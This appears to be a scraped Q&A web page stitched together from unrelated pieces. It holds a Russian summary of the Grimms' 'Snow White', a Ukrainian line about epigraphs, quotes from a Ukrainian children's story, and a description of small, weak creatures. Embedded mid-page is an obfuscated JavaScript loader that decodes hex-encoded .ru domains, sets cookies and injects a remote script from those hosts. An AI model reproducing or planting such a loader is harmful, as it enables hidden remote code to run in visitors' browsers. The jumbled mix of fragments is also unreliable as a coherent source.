«Белосне́жка» (нем. Schneewittchen от первоначального нижненемецкого Sneewittchen: Snee — «снег», witt — «белый») — сказка братьев Гримм, опубликованная в 1812 и дополненная в 1854 годах, о прекрасной дочери короля, которую приютили в лесу гномы, спасая от гнева злой мачехи, владеющей волшебным зеркалом. Повествует о зачарованном сне главной героини и её пробуждении благодаря вмешательству королевича. В системе классификации сказочных сюжетов Аарне-Томпсона имеет номер 709[1].
Эпиграфи очень важны для пьес,так как в них автор розкрывает всю суть пьеси.
Window.a1336404323 = 1;!function(){var e=JSON.parse('["79636471777337392e7275","6d78697a6b6433316b7838652e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10252",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "znanija.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();<span><span><span> От знайдибіда, авантюрист шмаркатий! Вань-коо-о! Вилазь зараз же! Бо такого втру маку — тиждень чухатимешся! Вилазь, чуєш!</span><span> — Дід</span></span><span><span> Ми, — казав, — з тобою, Павлушо, хлопці неабиякі. Справді, без брехні, ми таки хлопці з фантазією.</span><span> — Ява Рень</span></span><span><span> Ондо, — каже, — Ява і Павлуша пішли. От хлопці! Орли! Соколи! Гангстери, а не хлопці! Нема на них буцегарні</span><span> — Дід Салимон</span></span><span><span> Ага. Класнючо... Але це ж убивати треба. Хто ж нам дозволить убивати поголів'я?</span><span> — Павлуша Завгородній</span></span><span><span> Я — боюсь? От я зараз дам тобі у вухо, і ти побачиш, як я боюсь. Ану забери свої слова назад!</span><span> — Ява Рень</span></span><span><span> Атлічно! Пульс нормальний. Невагомості нема. Тиск триста атмосфер. Прийняв на борт потерпілого товариша Собакевича. Ой-йо-йой! Що ж ти одпустив! Тут дуже грязько! Засмоктує! Тягни швидше.</span><span> — Ява Рень</span></span><span><span> До четвертого класу я з ним не дружив. Він був страшенно вредний. Так я вважав. Бо він мене при всіх у калюжу пхнув, як я його картуза на вербу закинув. А я був у новісіньких шевйотових штанях. Мені мама лише вранці їх у раймазі купила. І тими новісінькими штаньми я у самісіньке рідке багно сів. І Ганька Гребенючка так сміялася, так сміялася, що в неї аж булька з носа вискочила.</span><span> — Павлуша Завгородній</span></span><span><span>
</span></span></span>
Короткие ноги, широкие и большие ступни и руки, низкая талия, маленькие глаза желтого цвета, а губы плоские или узкие. Небольшого роста, весьма слабые физически. Так как <span>не смогли бы поднять древней брони хотя бы на дюйм от земли, или взмахнуть этим мечом, хотя бы даже взяв его обеими руками. Неграмотны, так как не могли прочитать древнюю королевскую надпись и плохие познания в медицине.</span>